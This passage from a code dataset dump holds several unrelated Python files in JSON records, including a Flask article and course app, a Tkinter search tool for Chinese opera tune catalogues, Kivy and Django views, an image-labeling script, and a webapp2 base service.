found)\nprint(cache.get(3)) # returns 3\nprint(cache.get(4)) # returns 4\n","sub_path":"leetcode/LRUCache.py","file_name":"LRUCache.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164541157","text":"from telegram import Update, ReplyKeyboardMarkup\r\nfrom telegram.ext import MessageHandler, Filters, CallbackContext\r\n\r\nfrom bot.resources import keyboards, messages\r\nfrom bot.states import names\r\nfrom bot.states.common import back\r\nfrom extensions import State\r\n\r\n\r\ndef activator(update: Update, context: CallbackContext):\r\n reply_markup = ReplyKeyboardMarkup(keyboards.YES_NO, resize_keyboard=True)\r\n update.message.reply_text(messages.MSG_FOR_ALL.format(context.chat_data['current_message']),\r\n reply_markup=reply_markup)\r\n\r\n\r\ndef yes(update: Update, context: CallbackContext):\r\n # Отправляем сообщение пользователям\r\n return names.HELLO_HABIT_MENU\r\n\r\ndef no(update: Update, context: CallbackContext):\r\n # Отправляем сообщение пользователям\r\n return names.HELLO_HABIT_MENU\r\n\r\n\r\nmessage_send_state = State(\r\n on_activate=activator,\r\n handlers=[\r\n MessageHandler(Filters.regex(f'({keyboards.BACK_BUTTON})'), back),\r\n MessageHandler(Filters.regex(f'({keyboards.YES_BUTTON})'), yes),\r\n MessageHandler(Filters.regex(f'({keyboards.NO_BUTTON})'), no),\r\n ]\r\n)\r\n","sub_path":"bot/states/message/message_send.py","file_name":"message_send.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512571212","text":"num = int(input('Digite um numero inteiro: '))\r\nprint('''Escolha uma das bases para conversão:\r\n[1] converter para binário\r\n[2] converter para octal\r\n[3] converter para hexadecimal''')\r\nopcao = int(input('Sua opção: '))\r\n\r\nif opcao ==1:\r\n print(bin(num)[2:])\r\nelif opcao==2:\r\n print(oct(num)[2:])\r\nelif opcao==3:\r\n print(hex(num)[2:])\r\nelse:\r\n print('Opção inexistente!!!')\r\n\r\n","sub_path":"ex037.py","file_name":"ex037.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"365194597","text":"# -*- coding:utf-8 -*-\n\nfrom flask import Flask, render_template\n# template for display\nfrom flask import request, flash, url_for, redirect\n# lib for login\n\nfrom article import Article\nfrom course import Course\n# import class for articles, courses\n\nfrom flask_modus import Modus\n# handle patch delete request\n\napp = Flask(__name__)\nmodus = Modus(app)\n# method overwriting\n\n\napp.secret_key = b'development key'\n\narticle_list = [Article('Sample_Name', 'Sample_Essay')]\ncourse_list = [Course('Sample_Course', 'Sample_Name', '24')]\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n if request.form['username'] == u'北京林业大学':\n if request.form['password'] == u'123456':\n # return u\"欢迎您\" + request.form['username']\n flash('You were successfully logged in')\n return redirect(url_for('index'))\n else:\n return request.form['username'] + u'密码不正确'\n else:\n return u'该用户不存在:'+ request.form['username']\n else:\n return u'HTTP方法不正确'\n\n\n@app.route(\"/articles\", methods=['GET', 'POST'])\ndef articles():\n if request.method == 'POST':\n new_article = Article(request.form['author'], request.form['content'])\n article_list.append(new_article)\n return redirect(url_for('articles'))\n return render_template('articles.html', articles=article_list)\n\n@app.route(\"/articles/new\")\ndef add_article():\n return render_template('add_article.html')\n\n@app.route('/articles/', methods=['GET', 'PATCH', 'DELETE'])\ndef show_article(id):\n found_article = [art for art in article_list if art.id == id][0]\n # use r'METHOD' if patch request were not handled correctly\n if request.method == 'PATCH':\n found_article.author = request.form['author']\n found_article.content = request.form['content']\n return redirect(url_for('articles'))\n if request.method == 'DELETE':\n article_list.remove(found_article)\n return redirect(url_for('articles'))\n return render_template('show_article.html', article=found_article)\n\n@app.route('/articles//edit')\ndef edit_article(id):\n found_article = [art for art in article_list if art.id == id][0]\n return render_template('edit_article.html', article=found_article)\n\n@app.route(\"/form\")\ndef form():\n return render_template('form.html')\n\n@app.route('/courses', methods=['GET', 'POST'])\ndef courses():\n if request.method == 'POST':\n new_course = Course(request.form['name'], request.form['teacher'], request.form['duration'])\n course_list.append(new_course)\n return redirect(url_for('courses'))\n return render_template('courses.html', courses=course_list)\n\n@app.route('/courses/new')\ndef add_course():\n return render_template('add_course.html') \n\n@app.route('/courses/', methods=['GET', 'DELETE', 'PATCH'])\ndef edit_course(id):\n found_course = [cor for cor in course_list if cor.id == id][0]\n if request.method == 'DELETE':\n course_list.remove(found_course)\n return redirect(url_for('courses'))\n if request.method == 'PATCH':\n found_course.name = request.form['name']\n found_course.teacher = request.form['teacher']\n found_course.duration = request.form['duration']\n return redirect(url_for('courses'))\n return render_template('edit_course.html', course=found_course)\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='127.0.0.1', port='3000')","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475235469","text":"import tkinter as tk\nimport data\n\nclass gui():\n def __init__(self):\n#setup window\n self.root = tk.Tk()\n self.root.title(\"集成曲谱曲牌检索 v1.0\")\n self.root.configure(bg=\"#f3df99\")\n X = int(self.root.winfo_screenwidth())-800\n Y = int(self.root.winfo_screenheight())-600\n self.root.minsize(785,520)\n self.root.geometry(\"785x520+%d+%d\" % (X/2 , Y/2))\n#title frame\n self.titleframe=tk.Frame(self.root)\n self.titleframe.grid(row=0,column=0,columnspan=8,sticky=\"W\",padx=60)\n self.titleframe.config(bg=\"#f3df99\")\n\n self.labelA=tk.Label(self.titleframe,text=\"集成曲谱曲牌检索\",font=(\"ss\",\"13\",\"bold\"))\n self.labelA.grid(row=0,column=0,columnspan=4,pady=20)\n self.labelA.configure(background=\"#f3df99\")\n self.labelB=tk.Label(self.titleframe,text=\"根据《螾庐曲谈·卷三》整理录入 by 乱煞年光遍\")\n self.labelB.configure(background=\"#f3df99\")\n self.labelB.grid(row=1,column=1,columnspan=5,padx=40)\n\n#search frame\n self.searchframe=tk.Frame(self.root)\n self.searchframe.grid(row=1,column=0,pady=15,columnspan=8,padx=10)\n self.searchframe.config(bg=\"#f3df99\")\n \n self.label1=tk.Label(self.searchframe,text=\"宫调\",width=12)\n self.label1.configure(background=\"#f3df99\")\n self.label1.grid(row=3,column=1)\n self.label2=tk.Label(self.searchframe,text=\"性质\",width=12)\n self.label2.configure(background=\"#f3df99\")\n self.label2.grid(row=3,column=2)\n self.label3=tk.Label(self.searchframe,text=\"曲牌\",width=12)\n self.label3.configure(background=\"#f3df99\")\n self.label3.grid(row=3,column=3)\n self.label3=tk.Label(self.searchframe,text=\"剧目\",width=12)\n self.label3.configure(background=\"#f3df99\")\n self.label3.grid(row=3,column=4)\n self.label4=tk.Label(self.searchframe,text=\"折子\",width=12)\n self.label4.configure(background=\"#f3df99\")\n self.label4.grid(row=3,column=5)\n self.label5=tk.Label(self.searchframe,text=\"位置\",width=12)\n self.label5.configure(background=\"#f3df99\")\n self.label5.grid(row=3,column=6)\n \n self.entry1=tk.Entry(self.searchframe,width=10)\n self.entry1.grid(row=4,column=1)\n self.entry2=tk.Entry(self.searchframe,width=10)\n self.entry2.grid(row=4,column=2)\n self.entry3=tk.Entry(self.searchframe,width=10)\n self.entry3.grid(row=4,column=3)\n self.entry4=tk.Entry(self.searchframe,width=10)\n self.entry4.grid(row=4,column=4)\n self.entry5=tk.Entry(self.searchframe,width=10)\n self.entry5.grid(row=4,column=5)\n self.entry6=tk.Entry(self.searchframe,width=10)\n self.entry6.grid(row=4,column=6)\n#searchbutton\n self.button=tk.Button(self.searchframe,text=\" 搜  索 \",width=8,command=lambda: self.searchdata(self.entry1.get(),self.entry2.get(),self.entry3.get(),self.entry4.get(),self.entry5.get(),self.entry6.get()))\n self.button.config(bg=\"#814713\",fg=\"white\")\n self.button.grid(row=3,column=7,sticky=\"W\"+\"S\",rowspan=2,padx=25)\n \n#example frame\n self.exframe=tk.Frame(self.root)\n self.exframe.grid(row=2,column=0,columnspan=20,pady=40,padx=34,rowspan=9)\n self.exframe.config(bg=\"#f3df99\")\n \n self.flabel00=tk.Label(self.exframe,text=\"示例\",font=(\"ss\",\"11\",\"bold\"),width=15)\n self.flabel00.configure(bg=\"#f3df99\")\n self.flabel00.grid(row=0,column=0,sticky=\"W\")\n self.flabel0=tk.Label(self.exframe,text=\"序号\t宫调\t性质\t曲牌\t剧目\t折子\t位置\",width=58)\n self.flabel0.configure(bg=\"#f3df99\")\n self.flabel0.grid(row=1,column=0,sticky=\"W\",pady=5)\n self.flabel1=tk.Label(self.exframe,text=\"0010\t仙吕宫\t南引子\t番卜算\t燕子笺\t拾笺\t振五\",width=58)\n self.flabel1.configure(bg=\"#f3df99\")\n self.flabel1.grid(row=2,column=0,sticky=\"W\")\n self.flabel1=tk.Label(self.exframe,text=\"0044\t仙吕宫\t南过曲\t月儿高\t白罗衫\t游园\t振八\",width=58)\n self.flabel1.configure(bg=\"#f3df99\")\n self.flabel1.grid(row=3,column=0,sticky=\"W\")\n self.flabel1=tk.Label(self.exframe,text=\"0061\t仙吕宫\t南过曲\t醉扶归\t牡丹亭\t游园\t声四\",width=58)\n self.flabel1.configure(bg=\"#f3df99\")\n self.flabel1.grid(row=4,column=0,sticky=\"W\")\n self.flabel3=tk.Label(self.exframe,text=\"0372\t南吕宫\t南过曲\t一江风\t西楼记\t拆书\t金六\",width=58)\n self.flabel3.configure(bg=\"#f3df99\")\n self.flabel3.grid(row=5,column=0,sticky=\"W\") \n self.flabel4=tk.Label(self.exframe,text=\"0373\t南吕宫\t南过曲\t一江风\t荆钗记\t绣房\t声二\",width=58)\n self.flabel4.configure(bg=\"#f3df99\")\n self.flabel4.grid(row=6,column=0,sticky=\"W\")\n self.flabel5=tk.Label(self.exframe,text=\"0500\t南吕宫\t南集曲\t罗江怨\t西楼记\t楼会\t金六\",width=58)\n self.flabel5.configure(bg=\"#f3df99\")\n self.flabel5.grid(row=7,column=0,sticky=\"W\")\n self.flabel5=tk.Label(self.exframe,text=\"0534\t南吕宫\t北曲\t乌夜啼\t铁冠图\t守门\t玉六\",width=58)\n self.flabel5.configure(bg=\"#f3df99\")\n self.flabel5.grid(row=8,column=0,sticky=\"W\")\n#picture\n photo=tk.PhotoImage(file=\"pic.asd\")\n self.labelp=tk.Label(self.exframe,image=photo)\n self.labelp.image = photo\n self.labelp.configure(background=\"#f3df99\")\n self.labelp.grid(row=0,column=1,sticky=\"N\"+\"W\",pady=10,rowspan=50,padx=20)\n\n\n def MainLoop(self):\n self.root.mainloop()\n\n\n def searchdata(self,a,b,c,d,e,f):\n self.clear()\n a=str(a)\n b=str(b)\n c=str(c)\n d=str(d)\n e=str(e)\n f=str(f)\n#textframe\n self.textframe=tk.Frame(self.root)\n self.textframe.grid(row=2,column=0,rowspan=20,columnspan=20,padx=45)\n self.textframe.configure(bg=\"#f3df99\")\n \n self.text=tk.Text(self.textframe,width=57,height=25)\n self.text.grid(row=1,column=0,columnspan=8)\n self.scrollbar=tk.Scrollbar(self.textframe)\n self.scrollbar.grid(row=1,column=8,sticky=\"N\"+\"S\")\n self.scrollbar.config(command=self.text.yview,troughcolor=\"#814713\")\n self.text.config(yscrollcommand=self.scrollbar.set,bg=\"#f3e7bf\")\n self.labelaa=tk.Label(self.textframe,text=\"序 号\")\n self.labelaa.grid(row=0,column=0,sticky=\"W\")\n self.labelaa.config(bg=\"#f3df99\")\n self.labela=tk.Label(self.textframe,text=\" 宫 调\")\n self.labela.grid(row=0,column=1,sticky=\"W\")\n self.labela.config(bg=\"#f3df99\")\n self.labelb=tk.Label(self.textframe,text=\"性 质\")\n self.labelb.grid(row=0,column=2,sticky=\"W\")\n self.labelb.config(bg=\"#f3df99\")\n self.labelc=tk.Label(self.textframe,text=\" 曲 牌\")\n self.labelc.grid(row=0,column=3,sticky=\"W\")\n self.labelc.config(bg=\"#f3df99\")\n self.labele=tk.Label(self.textframe,text=\"剧 目\")\n self.labele.grid(row=0,column=4,sticky=\"W\")\n self.labele.config(bg=\"#f3df99\")\n self.labeld=tk.Label(self.textframe,text=\"折子 \")\n self.labeld.grid(row=0,column=5,sticky=\"W\")\n self.labeld.config(bg=\"#f3df99\")\n self.labele=tk.Label(self.textframe,text=\"位置\")\n self.labele.grid(row=0,column=6,sticky=\"W\")\n self.labele.config(bg=\"#f3df99\")\n#picture\n photo=tk.PhotoImage(file=\"pic.asd\")\n self.labelp=tk.Label(self.textframe,image=photo)\n self.labelp.image = photo\n self.labelp.configure(background=\"#f3df99\")\n self.labelp.grid(row=0,column=9,sticky=\"N\"+\"W\",pady=50,rowspan=10,padx=1)\n \n\n search_dic=data.datas()\n result=search_dic.final(a,b,c,d,e,f)\n for ele in result:\n for item in ele[1]:\n item=item+\"\\t\"\n self.text.insert(tk.END,item)\n self.text.insert(tk.END,\"\\n\")\n self.text.config(state=\"disabled\")\n\n \n \n def clear(self):\n self.exframe.grid_remove()\n self.entry1.delete(0,tk.END)\n self.entry2.delete(0,tk.END)\n self.entry3.delete(0,tk.END)\n self.entry4.delete(0,tk.END)\n self.entry5.delete(0,tk.END)\n self.entry6.delete(0,tk.END)\n","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607994826","text":"#!/usr/bin/env python\r\n\r\nimport os\r\n\r\nfrom kivy.metrics import dp\r\nfrom kivy.uix.floatlayout import FloatLayout\r\nfrom kivy.uix.gridlayout import GridLayout\r\nfrom kivy.uix.image import Image\r\nfrom kivy.uix.label import Label\r\nfrom kivy.uix.popup import Popup\r\nfrom kivy.uix.tabbedpanel import TabbedPanel, TabbedPanelHeader\r\n\r\nfrom amgineirc.view.settings.settingsView import SettingsView\r\nfrom amgineirc.view.channels.connectionsView import ConnectionsView\r\nfrom amgineirc.viewModel.appViewModel import AppViewModel\r\n\r\nclass AppView(FloatLayout):\r\n connected_string = 'Connected'\r\n not_connected_string = 'Not Connected'\r\n connected_fg = [0.0, 1.0, 0.0, 1.0] # green\r\n not_connected_fg = [1.0, 0.0, 0.0, 1.0] # red\r\n\r\n def __init__(self, appdata):\r\n FloatLayout.__init__(self, size_hint=(1.0, 1.0))\r\n # upper view\r\n self.upper_view = _AppUpperView(appdata,\r\n tab_height=dp(60),\r\n tab_width=dp(250),\r\n do_default_tab=True,\r\n default_tab_text='AmgineIRC',\r\n default_tab_content = self._build_about_app_content(appdata),\r\n size_hint=(1.0, 0.9),\r\n pos_hint={'x':0.0, 'y':0.1})\r\n self.add_widget(self.upper_view)\r\n # lower view\r\n self._lower_view = _AppLowerView(appdata,\r\n size_hint=(1.0, 0.1),\r\n pos_hint={'x':0.0, 'y':0.0})\r\n self.add_widget(self._lower_view)\r\n self.set_status_bar(False)\r\n AppViewModel(self, appdata)\r\n\r\n def _build_about_app_content(self, appdata):\r\n # image\r\n src = os.path.join(appdata['app'].directory, 'amgineirc_IRC_dessert.png')\r\n image = Image(source=src)\r\n # text (name and version)\r\n label = Label(text='', markup=True)\r\n sizei = label.font_size * 2\r\n sizes = '[size=%i]' % (sizei)\r\n letters = [sizes,\r\n '[color=b08c62]A[/color]',\r\n '[color=b08c62]m[/color]',\r\n '[color=b08c62]g[/color]',\r\n '[color=b08c62]i[/color]',\r\n '[color=b08c62]n[/color]',\r\n '[color=b08c62]e[/color]',\r\n '[color=82c477]I[/color]',\r\n '[color=82c477]R[/color]',\r\n '[color=82c477]C[/color]',\r\n '[/size]']\r\n name = ''.join(letters)\r\n version = 'Version %i.%i.%i' % (appdata['version']['major'],\r\n appdata['version']['minor'],\r\n appdata['version']['bugfix'])\r\n text = '%s %s' % (name, version)\r\n label.text = text\r\n layout = GridLayout(cols=1, padding=20)\r\n layout.add_widget(image)\r\n layout.add_widget(label)\r\n return layout\r\n \r\n\r\n def set_status_bar(self, connected):\r\n if connected == True:\r\n self._lower_view.text=AppView.connected_string\r\n self._lower_view.color=AppView.connected_fg\r\n else:\r\n self._lower_view.text=AppView.not_connected_string\r\n self._lower_view.color=AppView.not_connected_fg\r\n\r\nclass _AppLowerView(Label):\r\n def __init__(self, appdata, **kargs):\r\n kargs['text'] = u''\r\n Label.__init__(self, **kargs)\r\n\r\n\r\nclass _AppUpperView(TabbedPanel):\r\n \"\"\"this class does not have a view model\r\n its pages have their own view models\r\n \"\"\"\r\n\r\n settings_page_label = 'Configuration'\r\n connections_page_label = 'Connections'\r\n\r\n def __init__(self, appdata, **kargs):\r\n TabbedPanel.__init__(self, **kargs)\r\n # add the settings tab\r\n self._settings_th = TabbedPanelHeader(text=_AppUpperView.settings_page_label)\r\n self._settings_th.content = SettingsView(appdata,\r\n tab_width=dp(200))\r\n self.add_widget(self._settings_th)\r\n # add the connections tab\r\n self._connections_th = TabbedPanelHeader(text=_AppUpperView.connections_page_label)\r\n self.connections_view = ConnectionsView(appdata,\r\n tab_height=40,\r\n tab_width=200)\r\n self._connections_th.content = self.connections_view\r\n self.add_widget(self._connections_th)\r\n\r\n def raise_connections_page(self):\r\n self.switch_to(self._connections_th)\r\n","sub_path":"windows/amgineirc/view/appView.py","file_name":"appView.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381954921","text":"from django.urls import include, path\n\nfrom .views import ProfileRetrieveAPIView, ProfileFollowAPIView, \\\n FollowersAPIView, FollowingAPIView, ProfileList\n\napp_name = 'profiles'\nurlpatterns = [\n path('', ProfileRetrieveAPIView.as_view()),\n path('', ProfileList.as_view()),\n path('/follow', ProfileFollowAPIView.as_view()),\n path('/following', FollowingAPIView.as_view()),\n path('/followers', FollowersAPIView.as_view()),\n] ","sub_path":"authors/apps/profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"449710274","text":"\nimport com.ihsan.foundation.pobjecthelper as phelper\nimport time, sys, os\nimport PIL.Image as Image\n\ndef formSetDataEx(UIDefList, Parameter):\n if Parameter.DatasetCount == 0: return\n config = UIDefList.config\n helper = phelper.PObjectHelper(config)\n par = Parameter.FirstRecord\n key = par.Key\n UIDefList.SetData('uiEmp', key)\n EmpId = key.split('=')[1]\n config = UIDefList.config\n helper = phelper.PObjectHelper(config)\n Employ = helper.GetObject('Employee',EmpId)\n\n recE = UIDefList.uiEmp.Dataset.GetRecord(0)\n recE.PositionId = Employ.LWorkUnitPosition.LPosition.Description\n recE.WorkUnitId = Employ.LWorkUnitPosition.LWorkUnit.Description\n\n individu='PObj:INDIVIDU#INDIVIDUID=%d' % (Employ.IndividuId)\n UIDefList.SetData('uipart', individu)\n\n FE = UIDefList.GetPClassUIByName('uiFormal')\n sSQL = \"select * from education a, formaleducation b \"\n sSQL +=\"where a.educationid=b.educationid and a.individuid=%s \" % Employ.IndividuId\n res = config.CreateSQL(sSQL).RawResult\n res.First()\n while not res.Eof:\n recItem = FE.Dataset.AddRecord()\n recItem.EduYear = res.EduYear\n recItem.EduInstitution = res.EduInstitution\n recItem.EducationName = res.EducationName\n recItem.Alamat = res.Alamat\n recItem.Nilai = res.Nilai\n recItem.Description = res.Description\n recItem.Fakultas = res.Fakultas\n recItem.Jurusan = res.Jurusan\n res.Next()\n\n NFE = UIDefList.GetPClassUIByName('uiNonformal')\n sSQL = \"select * from education a, nonformaleducation b \"\n sSQL +=\"where a.educationid=b.educationid and a.individuid=%s \" % Employ.IndividuId\n res = config.CreateSQL(sSQL).RawResult\n res.First()\n while not res.Eof:\n recItem = NFE.Dataset.AddRecord()\n recItem.EduYear = res.EduYear\n recItem.EduInstitution = res.EduInstitution\n recItem.EducationName = res.EducationName\n recItem.Alamat = res.Alamat\n recItem.Description = res.Description\n res.Next()\n\n TS = UIDefList.GetPClassUIByName('uiTraining')\n sSQL = \"select * from training a, trainingseminar b \"\n sSQL +=\"where a.trainingid=b.trainingid and a.individuid=%s \" % Employ.IndividuId\n res = config.CreateSQL(sSQL).RawResult\n res.First()\n while not res.Eof:\n recItem = TS.Dataset.AddRecord()\n recItem.Year = res.Year\n recItem.Institution = res.Institution\n recItem.Materi = res.Materi\n recItem.Status = res.Status\n res.Next()\n\ndef OnSetData(sender):\n config =sender.UIDefList.config\n Data = sender.ActiveRecord\n Data.JamDatang = config.FormatDateTime('hh:mm:ss',Data.ArriveTime)\n Data.JamPulang = config.FormatDateTime('hh:mm:ss',Data.ReturnTime)\n\ndef GetImg(config, parameter, returnpacket):\n imgdir = config.GetGlobalSetting('IMAGEHOMEDIR')\n foto1 = parameter.FirstRecord.foto1\n foto2 = parameter.FirstRecord.foto2\n foto3 = parameter.FirstRecord.foto3\n #raise '',foto1\n if foto1 not in [None,'',0]:\n sw = returnpacket.AddStreamWrapper()\n sw.Name = foto1\n sw.LoadFromFile(imgdir+\"\\\\Profil\\\\\"+foto1)\n if foto2 not in [None,'',0]:\n sw = returnpacket.AddStreamWrapper()\n sw.Name = foto2\n sw.LoadFromFile(imgdir+\"\\\\Tanda Tangan\\\\\"+foto2)\n if foto3 not in [None,'',0]:\n sw = returnpacket.AddStreamWrapper()\n sw.Name = foto3\n sw.LoadFromFile(imgdir+\"\\\\Paraf\\\\\"+foto3)\n\ndef DLFile(config,parameters,returns):\n status = returns.CreateValues(\n ['IsErr',0],\n ['ErrMessage',''],\n ['StreamName',''],\n )\n file = parameters.FirstRecord.file\n jenis = parameters.FirstRecord.jenis\n helper = phelper.PObjectHelper(config)\n config.BeginTransaction()\n try:\n HomeDir = config.GetGlobalSetting('FILEHOMEDIR')\n FileTarget =HomeDir+ jenis +file\n\n sw = returns.AddStreamWrapper()\n sw.Name = 'TF'\n sw.LoadFromFile(FileTarget)\n #sw.MIMEType = config.AppObject.GetMIMETypeFromExtension(FileTarget)\n sw.MIMEType = 'applications/vnd.pdf'\n\n config.Commit()\n except:\n config.Rollback()\n status.IsErr = 1\n status.ErrMessage = str(sys.exc_info()[1])\n\n\n","sub_path":"dialogs/karyawan/fViewPersonalEmployee2_data.py","file_name":"fViewPersonalEmployee2_data.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639903310","text":"# palindrome.py\n# This program reads strings from the\n# user and says which are palindromes#\n#\n# Prof Geitz/class/me\n# 15 February 2016\n\n\n\ndef Reverse(s):\n # This returns the reversal of string s\n rev = \"\"\n for letter in s:\n rev = letter + rev # rev + letter would give forwards!\n return rev # So we don't get \"none\" bug\n\ndef IsPalindrome(s):\n if s == Reverse(s):\n return True\n else:\n return False\n\ndef RemoveSpaces(s):\n # This returns a new string just like s but with no spaces\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n result = \"\"\n for char in s:\n if char in alphabet:\n # if char != \" \": <-- when we just regExed for spaces\n result = result+char\n return result\n\ndef main():\n done = False\n while not done:\n string = input( \"Give me a string: \")\n if string == \"\":\n done = True\n else:\n if IsPalindrome(RemoveSpaces(string.lower())):\n # Prints capital if \"Bob\" but checks on \"bob\"\n # and calls RemoveSpaces on lower alphabet ;)\n print( \"Yep, '%s' is a palindrome.\"%string )\n else:\n print( \"Not a palindrome.\" )\n\nmain()\n","sub_path":"Class/Lecture 7/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"209025589","text":"'''\n本程式利用AI幫忙製作Label文件並存於指定目錄\n增加人工Labeling的便利性與速度\n\ninput :檢測目標的目錄位置,圖片副檔名必須為.bmp\noutput:產生Label(.xml)與mask(.bmp)文件\n'''\n\n'''\nupdate issue:\n\n'''\n\n# ---python package---\nimport os\nimport cv2\nimport glob\nimport numpy as np\nimport shutil\n# ---自定義的類別---\nfrom make_xml import create_xml\nfrom Detector import CP_Detection\n\n# np.random.seed(1)\ndetect_path = \"D:/AOI/PMI_Project_dataset/total/image/\" + \"*.bmp\" # 需Labeling的圖片目錄位置\noutput_path = \"D:/AOI/Label/\" # 輸出結果位置\n\n# 判斷output_path所設定的位置是否存在,若存在則刪除\n# 並重新產生output_path目錄,在output_path目錄下產生\"mask\", \"xml\"資料夾\nif os.path.exists(output_path):\n shutil.rmtree(output_path)\nos.mkdir(output_path)\nfor f in [\"mask\", \"xml\"]:\n if not os.path.exists(os.path.join(output_path, f)):\n os.mkdir(os.path.join(output_path, f))\n\ndetector = CP_Detection(mode=\"ai\") # detector 使用AI model偵測,可使用denoise、inference、detect功能\n\nfile_list = list(glob.glob(detect_path))\n# index = np.random.randint(0, len(file_list), 10000)\nfile_list = np.array(file_list)\n# run_list = file_list[index]\nrun_list = file_list[:] # 以list方式找出所有測試影像的檔案位置\n\nfor file_name in run_list:\n image = cv2.imread(file_name) # 讀取圖片\n show_image = image.copy()\n\n process_image = show_image.copy()\n process_image = cv2.cvtColor(process_image, cv2.COLOR_BGR2GRAY) # BGR to Gray\n process_image = detector.denoise(process_image) # 抗雜訊\n\n pad_coordinates, pin_coordinate_list = detector.inference(process_image) # 偵測Pad(pad_coordinate)與針痕(pin_coordinate_list)\n\n # 繪製的Pad與針痕\n for b_coord in pad_coordinates:\n show_image = cv2.rectangle(show_image, tuple(b_coord[0:2]), tuple(b_coord[2:5]), (255, 0, 0), 1)\n\n for p_coord in pin_coordinate_list:\n show_image = cv2.rectangle(show_image, tuple(p_coord[0:2]), tuple(p_coord[2:5]), (0, 0, 255), 1)\n\n # 儲存繪製完成的圖片至目標目錄中的mask資料夾\n # 儲存Label資訊至xml資料夾\n create_xml(output_path + \"/xml\", os.path.basename(file_name), process_image.shape, pin_coordinate_list, pad_coordinates)\n cv2.imwrite(os.path.join(output_path, \"mask\", os.path.basename(file_name)), show_image)\n\n","sub_path":"make_dataset_by_ai.py","file_name":"make_dataset_by_ai.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"485502557","text":"# coding=utf-8\nfrom google.appengine.api.app_identity import get_default_version_hostname\nfrom google.appengine.ext.blobstore import BlobReader, BlobInfo, BlobKey\nfrom utils.blob_iterator import BlobIterator\nfrom utils.general import ResponseException\nfrom datetime import datetime\nimport webapp2\nimport logging\nimport json\nimport csv\n\n\nclass BaseService(webapp2.RequestHandler):\n\n def __init__(self, request, response):\n super(BaseService, self).__init__(request, response)\n self.start_time = datetime.today()\n self.result_string = ''\n self.debug = False\n self.resp = {}\n self.id = self.request.get('id')\n self.user_id = self.request.get('user_id')\n self.all = self.request.get('all')\n self.in_day = self.request.get('in_day')\n self.keys = None\n self.json = None\n if not hasattr(self, 'blobstore') or self.request.method == 'PUT':\n self.parse_json()\n self.log_name()\n self.set_debug()\n self.host = get_default_version_hostname()\n self.blob_info = None\n\n def log_name(self):\n if hasattr(self, 'service_name'):\n logging.info('%s.%s' % (self.service_name, self.request.method))\n else:\n logging.info('%s.%s' % (repr(self), self.request.method))\n\n def handle_exception(self, exception, model):\n logging.error({\"error\": str(exception.message)})\n self.response.status = 500\n\n if self.blob_info:\n logging.info('deleting blob: %s' % self.blob_info.filename)\n self.blob_info.delete()\n\n if isinstance(exception, ResponseException):\n self.response.out.write(json.dumps({\"error\": exception.message}))\n else:\n self.response.out.write(json.dumps({\"error\": 'server: %s' % exception.message}))\n\n def parse_json(self):\n\n if not self.request.method in ['PUT', 'POST']:\n return None\n\n try:\n body = self.request.body\n logging.info('body: %s' % body)\n self.json = json.loads(body)\n if isinstance(self.json, dict):\n self.keys = self.json.keys()\n if 'payload' in self.keys:\n self.payload = self.json['payload']\n\n except Exception as e:\n pass\n\n def format_resp(self):\n\n self.response.headers['Content-Type'] = 'application/json'\n\n if self.result_string:\n self.response.headers['Content-Type'] = 'text/plain'\n resp = self.result_string\n\n elif self.resp is not None:\n resp = json.dumps(self.resp)\n\n else:\n logging.error('format response type failure')\n self.response.out.write('format response type failure')\n return\n\n logging.info(resp)\n logging.info('request time: %s ' % str((datetime.today() - self.start_time)))\n self.response.out.write(resp)\n\n def set_debug(self):\n if 'localhost' in self.request.server_name or self.request.get('debug') == 'true':\n self.debug = True\n\n def get_reader(self, blobkey):\n\n blob_reader = BlobReader(blobkey)\n blob_iterator = BlobIterator(blob_reader)\n\n reader = csv.DictReader(\n blob_iterator,\n doublequote=True,\n escapechar='\\\\'\n )\n\n if isinstance(blobkey, str):\n logging.info('file: %s' % BlobInfo(BlobKey(blobkey)).filename)\n\n else:\n logging.info('file: %s' % BlobInfo(blobkey).filename)\n\n return reader\n\n def convertKey(self, value):\n try:\n key = int(value)\n return key\n except ValueError:\n return value\n\n","sub_path":"base/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459738221","text":"from slic.devices.general.motor import Motor\nfrom ..general.detectors import CameraCA, CameraBS\nfrom slic.utils.eco_components.aliases import Alias, append_object_to_object\nfrom slic.core.adjustable import PVEnumAdjustable\n\n# from ..devices_general.epics_wrappers import EnumSelector\nfrom epics import PV\nfrom slic.utils.eco_epics.utilities_epics import EnumWrapper\n\n\ndef addMotorToSelf(self, Id=None, name=None):\n self.__dict__[name] = Motor(Id, name=name)\n self.alias.append(self.__dict__[name].alias)\n\n\nclass Pprm:\n\n def __init__(self, Id, name=None):\n self.Id = Id\n self.name = name\n self.target_pos = Motor(Id + \":MOTOR_PROBE\", 